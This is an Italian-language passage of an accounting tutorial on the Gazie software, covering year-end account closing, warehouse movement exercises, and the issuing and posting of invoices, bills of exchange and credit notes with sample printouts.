Fine Anno | Comunicazione annuale IVA | Controlli | Elenchi clienti e fornitori | Chiusura-Apertura Conti | Bilancio | Bilancio CEE

Chiusura e Apertura Conti

Data Registrazione Chiusura	31 Dicembre 2009
Data Registrazione Apertura	1 Gennaio 2010
Bilancio di Chiusura	598000002 - Bilancio di chiusura
Risultato Economico	598000003 - Risultato economico
Utile d'Esercizio	210000031 - Utile d'esercizio
Perdita d'Esercizio	210000032 - Perdita d'esercizio
Bilancio d'Apertura	598000001 - Bilancio di apertura
Indietro	ANTEPRIMA

215000010	Debiti v/istituti previdenziali		1.485,00
217000001	Debiti per TFRL		9.651,79
210000031	Utile d'esercizio		10.487,51
598000001	Bilancio di apertura	168.571,21	

CONFERMA !

La chiusura viene mostrata in anteprima, quindi occorre confermarla per generare le scritture contabili relative.

- Stampare il giornale di contabilità generale del mese di dicembre.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Libro Giornale dal 01-12-2009 al 31-12-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	30-12-2009	situazione dei conti al 30 dicembre	103000004	Emme	7.763,90	
2			103000005	Yankee	6.291,60	
3			103000006	Zeta	7.211,61	
4			197000020	Banca x c/c	4.338,00	
5			105000005	Cambiali attive	12.835,80	
6			108000030	Denaro in cassa	6.670,30	
7			102000005	Macchine d'ufficio	8.000,00	
8			598000001	Bilancio di apertura		53.111,21
9	30-12-2009	situazione dei conti al 30 dicembre	102000001	Terreni e fabbricati	80.000,00	
10			330000004	Merci c/acquisti	60.487,00	
11			315000004	Consulenze	2.285,70	
12			420000011	Ribassi e abbuoni passivi	83,00	
13			322000001	Salari e stipendi	3.121,00	
14			322000002	Oneri sociali	2.670,00	
15			315000001	Costi di trasporto	278,00	
16			598000001	Bilancio di apertura		148.924,70
17	30-12-2009	situazione dei conti al 30 dicembre	598000001	Bilancio di apertura	56.118,81	
18			212000004	Delta		18.138,24
19			212000005	Errex		21.031,42
20			212000006	Domenichelli		101,15
21			214000020	Cambiali passive		5.431,00
22			217000001	Debiti per TFRL		9.000,00
23			105000040	Fondo svalutazione crediti		1.317,00
24			215000003	Debiti per imposte		1.100,00
25	30-12-2009	situazione dei conti al 30 dicembre	598000001	Bilancio di apertura	145.917,10	
26			102000011	Fondo ammortamento fabbricati		22.515,00
27			588000011	Istituti previdenziali		1.485,00
28			215000005	Debiti per IVA		1.000,00
29			210000001	Patrimonio netto		69.903,10
30			420000006	Merci c/vendite		50.912,00
31			330000011	Ribassi e abbuoni attivi		102,00
32	31-12-2009	ammortamento macchine di ufficio del	350000005	Ammortamento macchine d'uffici	1.600,00	
33			102000015	Fondo ammortamento macchine d'		1.600,00
34	31-12-2009	ammortamento fabbricati del 3%	350000001	Ammortamento fabbricati	2.400,00	
35			102000011	Fondo ammortamento fabbricati		2.400,00
36	31-12-2009	accantonamento al fondo TFRL	322000003	TFRL	651,79	
37			217000001	Debiti per TFRL		651,79
38	31-12-2009	fatture da emettere per merci già in	105000009	Fatture da emettere	960,00	
39			420000006	Merci c/vendite		800,00
40			215000001	IVA ns/debito		160,00
41	31-12-2009	fatture da ricevere per merci già ri	330000004	Merci c/acquisti	500,00	
42			214000019	Fatture da ricevere		500,00
43	31-12-2009	merci in rimanenza	115000009	Merci	34.500,00	
44			337000013	Merci c/esistenze finali		34.500,00
45	31-12-2009	imposte di esercizio	370000001	Imposte dell'esercizio	1.750,00	
46			215000003	Debiti per imposte		1.750,00
47	31-12-2009	giroconto IVA	215000001	IVA ns/debito	160,00	
48			215000005	Debiti per IVA		160,00
49	31-12-2009	giroconto banche	108000001	Banche c/c attivi	4.338,00	
50			197000020	Banca x c/c		4.338,00
51	31-12-2009	giroconto istituti previdenziali	588000011	Istituti previdenziali	1.485,00	
52			215000010	Debiti v/istituti previdenzial		1.485,00
53	31-12-2009	CHIUSURA CONTI	315000001	Costi di trasporto		278,00
54			315000004	Consulenze		2.285,70
55			322000001	Salari e stipendi		3.121,00
56			322000002	Oneri sociali		2.670,00
57			322000003	TFRL		651,79
58			330000004	Merci c/acquisti		60.987,00
				a riporto :	452.416,61	522.410,10

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/2

Libro Giornale dal 01-12-2009 al 31-12-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
				da riporto :	452.416,61	522.410,10
59			350000001	Ammortamento fabbricati		2.400,00
60			350000005	Ammortamento macchine d'uffici		1.600,00
61			370000001	Imposte dell'esercizio		1.750,00
62			420000011	Ribassi e abbuoni passivi		83,00
63			598000003	Risultato economico		10.487,51
64			330000011	Ribassi e abbuoni attivi	102,00	
65			337000013	Merci c/esistenze finali	34.500,00	
66			420000006	Merci c/vendite	51.712,00	
67	31-12-2009	CHIUSURA CONTI	598000003	Risultato economico	10.487,51	
68			210000031	Utile d'esercizio		10.487,51
69	31-12-2009	CHIUSURA CONTI	102000001	Terreni e fabbricati		80.000,00
70			102000005	Macchine d'ufficio		8.000,00
71			103000004	Emme		7.763,90
72			103000005	Yankee		6.291,60
73			103000006	Zeta		7.211,61
74			105000005	Cambiali attive		12.835,80
75			105000009	Fatture da emettere		960,00
76			108000001	Banche c/c attivi		4.338,00
77			108000030	Denaro in cassa		6.670,30
78			115000009	Merci		34.500,00
79			598000002	Bilancio di chiusura	168.571,21	
80	31-12-2009	CHIUSURA CONTI	102000011	Fondo ammortamento fabbricati	24.915,00	
81			102000015	Fondo ammortamento macchine d'	1.600,00	
82			105000040	Fondo svalutazione crediti	1.317,00	
83			210000001	Patrimonio netto	69.903,10	
84			212000004	Delta	18.138,24	
85			212000005	Errex	21.031,42	
86			212000006	Domenichelli	101,15	
87			214000019	Fatture da ricevere	500,00	
88			214000020	Cambiali passive	5.431,00	
89			215000003	Debiti per imposte	2.850,00	
90			215000005	Debiti per IVA	1.160,00	
91			215000010	Debiti v/istituti previdenzial	1.485,00	
92			217000001	Debiti per TFRL	9.651,79	
93			210000031	Utile d'esercizio	10.487,51	
94			598000002	Bilancio di chiusura		168.571,21
TOTALI :					886.360,54	886.360,54

127.4.4 Conclusione della verifica sulla chiusura

I documenti da presentare per la correzione sono i seguenti. Le stampe devono essere ordinate e il tutto deve essere unito assieme con i punti metallici oppure i fermagli per lettera.

1. Giornale di contabilità generale del mese di dicembre.
2. Bilancio finale del 31 dicembre, secondo la forma del codice civile.

127.5 Esercitazione con la contabilità di magazzino (mag1)

Viene proposto un esercizio molto semplice, con il quale si ottiene un giornale di magazzino e le schede degli articoli movimentati. Per inserire i movimenti di magazzino si deve selezionare la funzione `Magazzino`, `Movimenti`, `Nuovo movimento di magazzino`.

127.5.1 Movimenti da inserire

I movimenti da inserire sono quelli descritti nell'elenco seguente.

- **10 gennaio**

  Il fornitore Tutto hardware ci invia merce accompagnata da documento di trasporto n. 5 del 07 gennaio per l'acquisto di 100 confezioni di teli copri monitor, al prezzo unitario di 1,00 €. Il documento viene protocollato con il numero 1.

- **11 gennaio**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 1 (emesso lo stesso giorno). Si tratta di 30 confezioni di teli copri monitor, venduti al prezzo del listino di vendita (il cliente Alberoni è associato al listino 1).

- **12 gennaio**

  Il fornitore Tutto hardware ci invia merce accompagnata da documento di trasporto n. 11 del 09 gennaio per l'acquisto di 100 confezioni di teli copri monitor al prezzo unitario di 1,00 €, meno lo sconto del 11 %. Il documento viene protocollato con il numero 2.

- **13 gennaio**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 2 (emesso lo stesso giorno). Si tratta di 70 confezioni di teli copri monitor al prezzo del listino di vendita.

- **14 gennaio**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 3 (emesso lo stesso giorno). Si tratta di 50 confezioni di teli copri monitor al prezzo del listino di vendita.

Per esempio, il movimento del 10 gennaio viene inserito come nella figura successiva:

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statis

Modifica movimento di magazzino n.1

Data della registrazione	10 Gennaio 2009	Causale	5 - CARICO PER ACQUISTO
Cliente⇔Fornitore	Tutto hardware	Data documento	7 Gennaio 2009
Descrizione doc.	ddt 5, prot. 1	Sconto chiusura	0.00 %
Articolo	Telo copri monitor	Quantità	100 pz
Prezzo	1.00 €	Sconto su rigo	0.0 %
Importo	100	Operazione	Carico

Annulla | Indietro | MODIFI

127.5.2 Stampa del giornale di magazzino

La stampa del giornale di magazzino si ottiene dalla voce *Magazzino*, *Movimenti*, *Stampa giornale di magazzino*. Si stampa il giornale di gennaio:

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statis

Giornale di Magazzino

Data inizio 1 Gennaio 2009

Data fine 31 Gennaio 2009

Indietro STAMPA !

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

GIORNALE DI MAGAZZINO dal 01-01-2009 al 31-01-2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
10-01-2009	5-CARICO PER ACQUISTO	TELO - Telo copri monitor	ddt 5, prot. 1 del 07-01-2009	1,00	100,00	pz	100
11-01-2009	1-SCARICO PER VENDITA	TELO - Telo copri monitor	ddt 1 del 11-01-2009	5,00	150,00	pz	-30
12-01-2009	5-CARICO PER ACQUISTO	TELO - Telo copri monitor	ddt 11, prot. 2 del 09-01-2009	1,00	89,00	pz	100
13-01-2009	1-SCARICO PER VENDITA	TELO - Telo copri monitor	ddt 2 del 13-01-2009	5,00	350,00	pz	-70
14-01-2009	1-SCARICO PER VENDITA	TELO - Telo copri monitor	ddt 3 del 14-01-2009	5,00	250,00	pz	-50

127.5.3 Stampa delle schede di magazzino

Per ottenere le schede di magazzino, si deve selezionare la voce *Magazzino*, *Movimenti*, *Stampa schedari articoli di magazzino*. Si deve poi selezionare il gruppo di articoli e il periodo (in questo caso si tratta di un articolo solo, il cui codice è '**TELO**'.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statis

Stampa schedari articoli

Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	TELO
Codice articolo fine	TELO
Data inizio	1 Gennaio 2009
Data fine	31 Gennaio 2009
	Indietro STAMPA !

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

Codice	Cat.Merc	Descrizione	U.M.	Scorta
TELO	1	Telo copri monitor	pz	0,0

SCHEDA DI MAGAZZINO dal 01-01-2009 al 31-01-2009

Data Reg.	Causale	Descrizione documento - Cliente/Fornitore	Prezzo	Valore	U.M.	Mov.Quant.	Consistenza
10-01-2009	5-CARICO PER ACQUISTO	ddt 5, prot. 1 del 07-01-2009 - Tutto hardware	1,00	100,00	pz	100	100
11-01-2009	1-SCARICO PER VENDITA	ddt 1 del 11-01-2009 - Alberoni & C.	5,00	150,00	pz	-30	70
12-01-2009	5-CARICO PER ACQUISTO	ddt 11, prot. 2 del 09-01-2009 - Tutto hardware	1,00	89,00	pz	100	170
13-01-2009	1-SCARICO PER VENDITA	ddt 2 del 13-01-2009 - Alberoni & C.	5,00	350,00	pz	-70	100
14-01-2009	1-SCARICO PER VENDITA	ddt 3 del 14-01-2009 - Alberoni & C.	5,00	250,00	pz	-50	50
						Consistenza al 31-01-2009 :	**50**

127.6 Verifica sulla gestione della contabilità di magazzino (mag2)

Si registrano le operazioni seguenti in contabilità di magazzino.

- **10 settembre**

  Il fornitore Tutto hardware ci invia merce accompagnata da documento di trasporto n. 250 del 07 settembre per l'acquisto di 1 000 porta CD/DVD da viaggio, al prezzo unitario di 3,00 €. Il documento viene protocollato con il numero 110.

- **11 settembre**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 200 (emesso lo stesso giorno). Si tratta di 500 porta CD/DVD da viaggio al prezzo del listino di vendita, che inizialmente è di 5,00 € (il cliente Alberoni è associato al listino 1).

- **12 settembre**

  Il fornitore Tutto hardware ci invia merce accompagnata da documento di trasporto n. 255 del 11 settembre per l'acquisto di 5000 porta CD/DVD da viaggio al prezzo unitario di 3,00 €, meno lo sconto del 11 %. Il documento viene protocollato con il numero 111.

- **13 settembre**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 201 (emesso lo stesso giorno). Si tratta di 1000 porta CD/DVD da viaggio al prezzo del listino di vendita.

- **14 settembre**

  Si modifica il prezzo di listino dei porta CD/DVD da viaggio, indicando 7,00 € per unità (listino 1). Successivamente si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 202 (emesso lo stesso giorno). Si tratta di 2000 porta CD/DVD da viaggio al prezzo di listino, ridotto però di uno sconto del 3 %.

Si devono presentare i documenti seguenti:

1. Il giornale di magazzino del mese di settembre;
2. La scheda, del mese di settembre, dell'articolo utilizzato nella verifica.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

GIORNALE DI MAGAZZINO dal 01-09-2009 al 30-09-2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
10-09-2009	5-CARICO PER ACQUISTO	CDBAG - Porta CD/DVD da viaggio	ddt 250, prot. 110 del 07-09-2009	3,00	3.000,00	pz	1000
11-09-2009	1-SCARICO PER VENDITA	CDBAG - Porta CD/DVD da viaggio	ddt 200 del 11-09-2009	5,00	2.500,00	pz	-500
12-09-2009	5-CARICO PER ACQUISTO	CDBAG - Porta CD/DVD da viaggio	ddt 255, prot. 111 del 11-09-2009	3,00	13.350,00	pz	5000
13-09-2009	1-SCARICO PER VENDITA	CDBAG - Porta CD/DVD da viaggio	ddt 201 del 13-09-2009	5,00	5.000,00	pz	-1000
14-09-2009	1-SCARICO PER VENDITA	CDBAG - Porta CD/DVD da viaggio	ddt 202 del 14-09-2009	7,00	13.580,00	pz	-2000

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

Codice	Cat.Merc	Descrizione	U.M.	Scorta
CDBAG	1	Porta CD/DVD da viaggio	pz	0,0

SCHEDA DI MAGAZZINO dal 01-09-2009 al 30-09-2009

Data Reg.	Causale	Descrizione documento - Cliente/Fornitore	Prezzo	Valore	U.M.	Mov.Quant.	Consistenza
10-09-2009	5-CARICO PER ACQUISTO	ddt 250, prot. 110 del 07-09-2009 - Tutto hardware	3,00	3.000,00	pz	1000	1000
11-09-2009	1-SCARICO PER VENDITA	ddt 200 del 11-09-2009 - Alberoni & C.	5,00	2.500,00	pz	-500	500
12-09-2009	5-CARICO PER ACQUISTO	ddt 255, prot. 111 del 11-09-2009 - Tutto hardware	3,00	13.350,00	pz	5000	5500
13-09-2009	1-SCARICO PER VENDITA	ddt 201 del 13-09-2009 - Alberoni & C.	5,00	5.000,00	pz	-1000	4500
14-09-2009	1-SCARICO PER VENDITA	ddt 202 del 14-09-2009 - Alberoni & C.	7,00	13.580,00	pz	-2000	2500
						Consistenza al 30-09-2009 :	2500

127.7 Esercitazione sulla gestione delle vendite (vend1)

La gestione delle vendite implica la produzione dei documenti della vendita, costituiti principalmente da fatture, note di accredito e cambiali tratte, che successivamente vanno registrate in contabilità generale, e, se appropriato, anche in contabilità di magazzino.

Qui viene emessa una fattura, una tratta e una nota di accredito; successivamente si registrano in contabilità generale e nei movimenti di magazzino.

127.7.1 Emissione della fattura

Per emettere la fattura successiva, si usa la funzione `Vendite`, `Fatture`, `Emetti fatture`.

Viene mostrata anche la maschera di inserimento. Va osservato che il numero della fattura è prodotto automaticamente da Gazie e non può essere cambiato. Gazie tiene comunque separato il numero di emissione del documento e il numero del protocollo, anche per i documenti della vendita. Nella fattura successiva, la modalità di pagamento viene modificata rispetto a quanto predefinito per il cliente Alberoni.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1/1 del 11 Gennaio 2010
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantità	Prezzo	%Sc.	Importo	%IVA
HKING	Pappa reale pura 10 g	pz	100	20,00		2.000,00	10,00
NOTETRACK	Zaino per notebook	pz	100	20,00		2.000,00	20,00

Tot. Corpo	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
4.000,00				4.000,00	600,00	55,90

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
Tratta 60 g.d.f.	Imponibile	Aliquota	Imposta	€ 4.655,90
Banca d'appoggio	2.000,00	IVA al 10%	200,00	
Banca della valle	2.000,00	IVA al 20%	400,00	
ABI 00000 CAB 0	55,90	ESCLUSA art. 15	0,00	

Date di Scadenza e Importo Rate				Totale dei riporti
12-03-2010 4.655,90	--	--	--	

127.7.2 Contabilizzazione della fattura

Dopo l'emissione delle fatture è possibile aggiornare la contabilità generale, attraverso la voce `Contabilizza` che appare nell'elenco delle fatture; elenco che si ottiene con la funzione `Vendite`, `Fatture`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emetti Nuova Fattura Immediata — Emetti Nuova Nota Credito — Emetti Nuova Parcella
Genera Fatture Differite da D.d.T — Contabilizzazione Fatture — Ristampa Documenti già emessi
Emetti Nuova Nota Debito

Documenti di vendita della sezione 1
Num. record = 1

Protocollo: [ ] Cerca — Mostra tutti

Prot.	Tipo	Numero	Data	Cliente	Status	Stampa	Cancella
1	Fattura Immediata	1	11-01-2010	Alberoni & C.	Contabilizza		✕

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera i movimenti contabili a partire dai documenti fiscali della sezione IVA n. 1

Fino al : 11 Gennaio 2010

Registro IVA: delle Fatture di Vendita

Protocollo iniziale: 1 / 2010

Protocollo finale: 1 / 2010

Indietro — ANTEPRIMA

Anteprima di contablizzazione

Data	Protocollo	Tipo	N.	Cliente/Fornitore	Imponibile	I.V.A.	Bolli su tratte	Totale
11-01-2010	1	FAI	1	Alberoni & C.	4.000,00	600,00	55,90	4.655,90

CONFERMA

Si può verificare che la contabilizzazione sia avvenuta, consultando la prima nota.

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

Inserisci un nuovo movimento contabile

Lista dei Movimenti Contabili

Num. record = 1

Causale contabile: Cerca — Mostra tutti

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
2	11-01-2010	FAI	FATTURA IMMEDIATA A CLIENTE	1/1	1	4.655,90	X

Va osservato che il magazzino risulta già aggiornato automaticamente, in base alla configurazione relativa, definita nella scheda dell'azienda.

127.7.3 Emissione della cambiale tratta

Avendo emesso una fattura che prevede il pagamento con tratta, con la funzione `Vendite`, `Effetti`, `Genera effetti da fatture`, si ottiene l'acquisizione di tale effetto, per poterne poi ottenere la stampa. Inizialmente si deve specificare per quali fatture si vogliono produrre gli effetti (ammesso che ce ne siano):

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera effetti da fatture

Contabilizzazione effetti

Distinta per banca

Emetti effetto

Genera effetti da fatture

Stampa effetti

Distinta effetti

Genera file RiBa

Contabilizza effetti

Num.: Cerca — Mostra tutti

ID	Numero	Data di Emissione	Tipo	Data di Scadenza	Cliente	Importo Effetto	Acconto / Saldo	Banca d'appoggio	STAMPA	Elimina

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera gli effetti a partire dai documenti fiscali

Indietro — ANTEPRIMA

Anteprima della generazione degli effetti

Data	Protocollo/Sez	Tipo documento	N.	Cliente	Totale	
11-01-2010	1/1	FATTURA IMMEDIATA A CLIENTE	1	Alberoni & C.	4.655,90	
					generarà la Tratta n.1 con scadenza 12-03-2010 €	4.655,90
					Totale delle Tratte	€ 4.655,90

CONFERMA

Quindi, dall'elenco degli effetti, che si ottiene con la funzione `Vendite`, `Effetti`, è possibile ottenerne il file PDF (per la stampa), selezionando l'icona corrispondente della colonna `Stampa`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera effetti da fatture — Emetti un nuovo effetto
Contabilizzazione effetti — Stampa effetti generati
Distinta per banca — Genera file Ri.Ba.

Lista degli effetti
Num. record = 1

Num.: Cerca Mostra tutti

ID	Numero	Data di Emissione	Tipo	Data di Scadenza	Cliente	Importo Effetto	Acconto / Saldo	Banca d'appoggio	STAMPA	Elimina
2	1	11-01-2010	T	12-03-2010	Alberoni & C.	4.655,90	Saldo	Banca della valle		

CAMBIALE TRATTA N. 1 Data di pagamento 12-03-2010 euro € 4655.90

Azienda...
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

pagherete la somma di
€ quattromilaseicentocinquantacinque/90
alla spett.le Azienda...
versata a mezzo Banca x c/c

a SALDO della Ns. Fattura N. 1/1 del 11-01-2010 di € 4655.90

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca della valle ABI 0 CAB 0 ()	Alberoni & C. piazza Tiritera, 28 50018 Scandicci (FI) P.I. 01720430485	firma bolli a tergo 56.55

127.7.4 Distinta degli effetti

Dopo la stampa degli effetti, si deve produrre la distinta per la presentazione alla banca, con la funzione `Vendite`, `Effetti`, `Distinta effetti`. Nella compilazione della maschera di richiesta, occorre osservare che la data di emissione della distinta non può essere successiva alla prima data di scadenza degli effetti; inoltre, come per la stampa degli effetti, l'intervallo di date si riferisce opportunamente alle scadenze degli stessi.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Stampa distinta cartacea degli effetti per la banca

Data della distinta	31 Gennaio 2010
Banca d'accredito	197000020-Banca x c/c
Distintato	No
Numero inizio	1
Numero fine	1
Data di scadenza inizio	12 Marzo 2010
Data di scadenza fine	12 Marzo 2010
Imposta prossime scadenze	Scadenze prossime
Indietro	ANTEPRIMA

Anteprima della distinta cartacea degli effetti

Num	Tipo	Scadenza	Importo	Cliente/P.I.	Fattura/Importo	Appoggio/ABI-CAB
Tratte:						
1	T	12-03-2010	€ 4.655,90	Alberoni & C.	n.1/1 - 11-01-2010	Banca della valle
				01720430485	4.655,90	0 - 0
n.1 Tratte			€ 4.655,90			
Totale della distinta n.1 € 4.655,90						

STAMPA

Dopo l'indicazione dei dati, si ottiene l'elenco degli effetti di cui si sta per produrre la distinta. Si conferma ulteriormente per ottenere la distinta.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, li 31 Gennaio 2010

Distinta effetti dal 12 marzo 2010 al 12 marzo 2010

Scadenza	Effetto	Cliente / Indirizzo,P.IVA / Fattura	Appoggio	Importo
12-03-2010	n.1 del 11-01-2010 a saldo	Alberoni & C. piazza Tiritera, 28 50018 Scandicci (FI) P.IVA 01720430485 Fatt.n.1 del 11-01-2010	ABI 0 CAB 0 Banca della valle	4.655,90
			1 CAMBIALI TRATTE per un totale di € 4.655,90	

TOTALE DEGLI EFFETTI VERSATI €

127.7.5 Contabilizzazione degli effetti

Gli effetti emessi, di cui è stata stampata la distinta, si possono registrare automaticamente in contabilità con la funzione `Vendite`, `Effetti`, `Contabilizza effetti`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera effetti da fatture
Contabilizzazione effetti
Distinta per banca

Emetti effetto
Genera effetti da fatture
Stampa effetti
Distinta effetti
Genera file RiBa
Contabilizza effetti

Num.: Cerca Mostra tutti

ID	Numero	Data di Emissione	Tipo	Data di Scadenza	Cliente	Importo Effetto	Acconto / Saldo	Banca d'appoggio	STAMPA	Elimina
2	1	11-01-2010	T	12-03-2010	Alberoni & C.	4.655,90	Saldo	Banca della valle		

Dopo la prima compilazione si deve richiedere l'anteprima, ovvero l'elenco degli effetti che stanno per essere contabilizzati.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Contabilizzazione Effetti

Data	31 Gennaio 2010
Data registrazione	data emissione / come sopra
Tipo effetto	TUTTE / R.B. / TRATTE
Progressivo iniziale	1
Progressivo finale	1

Indietro VISUALIZZA L'ANTEPRIMA !

ANTEPRIMA CONTABILIZZAZIONE

Scadenza	Emissione	Tipo	Progr.	Cliente	Importo	Saldo Conto	N.Fatt.	Data Fattura
2010-03-12	2010-01-11	T	1	Alberoni & C.	4655.90	S	1/1	2010-01-11

CONFERMA LA CONTABILIZZAZIONE DEGLI EFFETTI SOPRAELENCATI !

Si passa quindi alla conferma che produce le scritture necessarie in contabilità generale. Il procedimento può essere eseguito una volta sola, per ovvi motivi.

127.7.6 Emissione di una nota di accredito

L'emissione della nota di accredito a cliente è analoga a quella della fattura e procede a partire dalla funzione `Vendite`, `Fatture`, `Emetti nota credito`. La numerazione delle note di accredito è automatica, come per le fatture, ma si tratta comunque di numerazioni indipendenti.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emetti Fattura
Emetti Nota Credito
Emetti Nota Debito
Ristampa Documenti
Fatturazione D.d.T.
Contabilizza fatture
Emetti Parcella

Emetti Nuova Nota Credito
Contabilizzazione Fatture
Emetti Nuova Parcella
Ristampa Documenti già emessi

...umenti di vendita della sezione 1
Num. record = 1

Protocollo: Mostra tutti

Prot.	Tipo		Data	Cliente	Status	Stampa	Cancella
1	Fattura Immediata	1	11-01-2010	Alberoni & C.	Cont. n.2		

Si osservi che è opportuno modificare il tipo di pagamento, perché quello che si ottiene automaticamente, in base alla configurazione del cliente, riguarda le fatture di vendita. Nella figura si vede la selezione di un tipo di pagamento nullo, rappresentato da due trattini, funzionalmente equivalente al «vista fattura».[1]

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Inserisci Nota Credito a Cliente : Alberoni & C.

Sezione 1 — Indirizzo piazza Tiritera, 28 — Data 15 Gennaio 2010

Listino 1 — Pagamento -- — Banca Banca della valle

Trasporto € 0 — Causale mag. 2-CARICO PER RESO DA C — Spese incasso 0 x 1 — Agente di vendita

corpo

Articolo: inserire min. 1 carattere/i ! — Ricerca per D - Descrizione — Tipo: 0 - Normale — Quantità: 0

Ricavo: 420000010 - Resi su vendite — %Sconto: 0 — %Provvigioni: 0 — %Ritenuta: 0.0 — I.V.A.:

Codice	Descrizione	U.M.	Quantità	Prezzo	%Sc.	%Prow.	Importo	I.V.A.	Ricavo
HKING	Pappa reale pura 10 g	pz	100	20.00	0		2.000,00	10.0%	420000010

piede

Imponibile	Imposta	Tot.Corpo	% Sconto	Imponibile	I.V.A.	Bolli	Totale €
2.000,00	IVA al 10% 200,00	2.000,00	0,00	2.000,00	200,00	0,00	2.200,00

INSERISCI !

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Nota di credito n.1/1 del 15 Gennaio 2010
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantità	Prezzo	%Sc.	Importo	%IVA
HKING	Pappa reale pura 10 g	pz	100	20,00		2.000,00	10,00

Tot. Corpo	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
2.000,00				2.000,00	200,00	

Pagamento: --

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
2.000,00	IVA al 10%	200,00

TOTALE FATTURA **€ 2.200,00**

Date di Scadenza e Importo Rate				Totale dei riporti
15-01-2010 2.200,00	--	--	--	

127.7.7 Contabilizzazione della nota di accredito

La contabilizzazione automatica delle note di accredito si ottiene nello stesso modo già descritto per le fatture. Si proceda quindi con tale contabilizzazione.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emetti Nuova Fattura Immediata — Emetti Nuova Nota Credito — Emetti Nuova Parcella
Genera Fatture Differite da D.d.T — Contabilizzazione Fatture — Ristampa Documenti già emessi
Emetti Nuova Nota Debito

Documenti di vendita della sezione 1
Num. record = 2

Protocollo: — Cerca — Mostra tutti

Prot.	Tipo	Numero	Data	Cliente	Status	Stampa	Cancella
2	Nota Credito	1	15-01-2010	Alberoni & C.	Contabilizza		✕
1	Fattura Immediata	1	11-01-2010	Alberoni & C.	Cont. n.2		

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera i movimenti contabili a partire dai documenti fiscali della sezione IVA n. 1

Fino al : 15 Gennaio 2010
Registro IVA: delle Fatture di Vendita
Protocollo iniziale: 2 / 2010
Protocollo finale: 2 / 2010
Indietro — ANTEPRIMA

Anteprima di contabilizzazione

Data	Protocollo	Tipo	N.	Cliente/Fornitore	Imponibile	I.V.A.	Bolli su tratte	Totale
